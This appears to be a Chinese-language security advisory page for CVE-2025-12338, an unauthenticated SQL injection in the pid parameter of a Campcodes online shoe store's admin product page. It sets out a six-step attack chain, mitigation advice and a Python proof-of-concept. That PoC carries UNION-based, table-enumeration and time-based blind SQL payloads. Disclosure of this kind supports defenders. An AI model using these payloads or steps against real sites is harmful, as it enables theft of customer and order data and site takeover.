IPBUF安全漏洞报告
English
CVE-2025-12338 CVSS 7.3 高危

CVE-2025-12338 Campcodes Retro Basketball Shoes Online Store SQL注入漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12338
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Campcodes Retro Basketball Shoes Online Store 1.0

相关标签

SQL注入CVE-2025-12338Campcodes远程代码执行高危漏洞Retro Basketball Shoes Online StoreWeb安全数据库泄露管理后台漏洞

漏洞概述

CVE-2025-12338是Campcodes公司开发的Retro Basketball Shoes Online Store 1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于管理后台的admin_product.php文件中的pid参数,由于对用户输入缺乏有效的过滤和参数化查询,攻击者可以通过构造恶意SQL语句实现对数据库的未授权访问。漏洞评分达到7.3分(高危),攻击向量为网络远程攻击,无需认证和用户交互即可发起攻击。此漏洞已被公开披露并出现利用代码,攻击者可能通过该漏洞获取数据库敏感信息,包括用户凭据、订单数据、商品信息等,严重威胁系统的数据安全和业务正常运行。

技术细节

该SQL注入漏洞存在于/admin/admin_product.php文件中,具体问题出在对pid参数的处理上。程序在接收用户提交的pid参数后,直接将其拼接到SQL查询语句中而未进行任何过滤或使用参数化查询。当攻击者通过HTTP请求发送精心构造的pid参数值时,如包含单引号、UNION SELECT等SQL特殊字符和关键字,可以突破应用程序的查询逻辑,执行任意SQL命令。攻击者可能利用此漏洞进行以下操作:1)通过UNION-based注入获取数据库中其他表的敏感数据;2)通过Boolean-based或Time-based盲注推断数据库信息;3)通过OUTFILE等函数尝试写入恶意文件;4)在某些配置下可能进一步导致远程代码执行。由于漏洞位于管理后台路径,攻击者可以直接访问受影响页面发起攻击,无需任何认证凭证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用的技术栈,确认目标为Campcodes Retro Basketball Shoes Online Store 1.0版本,并定位到/admin/admin_product.php路径
STEP 2
步骤2: 漏洞探测
攻击者发送包含单引号的pid参数值(如pid='),观察服务器响应,判断是否存在SQL注入漏洞及数据库错误信息泄露
STEP 3
步骤3: 注入类型识别
通过发送不同的测试payload(如UNION、Boolean条件、时间延迟等),确定注入类型和数据库类型(MySQL/MSSQL等)
STEP 4
步骤4: 数据提取
利用UNION-based或Time-based盲注技术,逐步提取数据库中的敏感信息,包括数据库版本、当前数据库名、表结构、用户数据等
STEP 5
步骤5: 权限提升与持久化
根据提取的凭据信息尝试登录管理后台获取更高权限,可能通过写入Webshell或数据库备份等方式实现持久化控制
STEP 6
步骤6: 横向移动
利用获取的管理权限修改商品信息、窃取用户订单数据或在页面中植入恶意代码进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12338 SQL Injection PoC # Target: Campcodes Retro Basketball Shoes Online Store 1.0 # File: /admin/admin_product.php # Parameter: pid def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in pid parameter """ # Target endpoint url = f"{target_url}/admin/admin_product.php" # Test payloads payloads = { # Basic detection - single quote causes SQL error 'error_detection': "'" # Union-based injection to extract database version 'db_version': "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- " # Extract current database name 'db_name': "' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- " # Extract all table names from information_schema 'table_enum': "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- " # Time-based blind injection for data extraction 'time_blind': "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- " } params = { 'pid': payloads.get(payload, payloads['error_detection']) } print(f"[*] Target: {url}") print(f"[*] Payload type: {payload}") print(f"[*] Sending request...") try: response = requests.get(url, params=params, timeout=30) print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[+] SQL error detected - vulnerability confirmed!") return True else: print("[-] No obvious SQL error detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 50) print("CVE-2025-12338 SQL Injection Exploit") print("=" * 50) # Run exploit exploit_sqli(target, 'error_detection')

影响范围

Campcodes Retro Basketball Shoes Online Store 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache规则)限制对/admin/admin_product.php的直接访问,仅允许可信IP访问管理后台;2)临时关闭管理后台功能直到漏洞修复;3)部署ModSecurity等WAF规则拦截包含SQL特殊字符的请求;4)对数据库账户权限进行限制,移除不必要的文件读写和执行权限;5)加强数据库和应用日志监控,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表